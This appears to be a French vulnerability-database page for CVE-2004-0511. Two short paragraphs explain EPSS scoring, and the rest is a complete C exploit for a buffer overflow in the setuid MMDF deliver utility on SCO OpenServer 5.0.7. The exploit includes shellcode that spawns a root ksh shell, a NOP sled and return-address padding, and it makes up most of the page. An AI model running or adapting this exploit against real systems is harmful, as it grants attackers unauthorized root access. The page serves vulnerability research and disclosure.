CVE-2004-0511 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/10758/info It has been reported that the SCO Multi-channel Memorandum Distribution Facility (MMDF) is affected by multiple vulnerabilities. These issues are due to a failure of the utility to properly validate buffer boundaries when copying user-supplied input. These issues are known to be exploitable locally, however due to the nature of the application it is likely that remote exploitation is possible as well, although this is not confirmed. An attacker might leverage these issues to execute arbitrary code in the context of the vulnerable utility; many of the affected utilities are setuid binaries by default. These issues might also be leveraged to cause the affected utility to crash, denying service to legitimate users. */ /* * MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86 * Copyright 2004 Ramon de Carvalho Valle * */ char shellcode[]= /* 36 bytes */ "\x68\xff\xf8\xff\x3c" /* pushl $0x3cfff8ff */ "\x6a\x65" /* pushl $0x65 */ "\x89\xe6" /* movl %esp,%esi */ "\xf7\x56\x04" /* notl 0x04(%esi) */ "\xf6\x16" /* notb (%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""/ksh" /* pushl $0x68736b2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\xb0\x3b" /* movb $0x3b,%al */ "\xff\xd6" /* call *%esi */ ; main(int argc,char **argv) { char buffer[16384],address[4],*p; int i; printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86\n"); printf("Copyright 2004 Ramon de Carvalho Valle\n\n"); *((unsigned long *)address)=(unsigned long)buffer-256+5120+4097; sprintf(buffer,"-c"); p=buffer+2; for(i=0;i<5120;i++) *p++=address[i%4]; for(i=0;i<8192;i++) *p++=0x90; for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i]; *p=0; execl("/usr/mmdf/bin/deliver","deliver",buffer,0); }
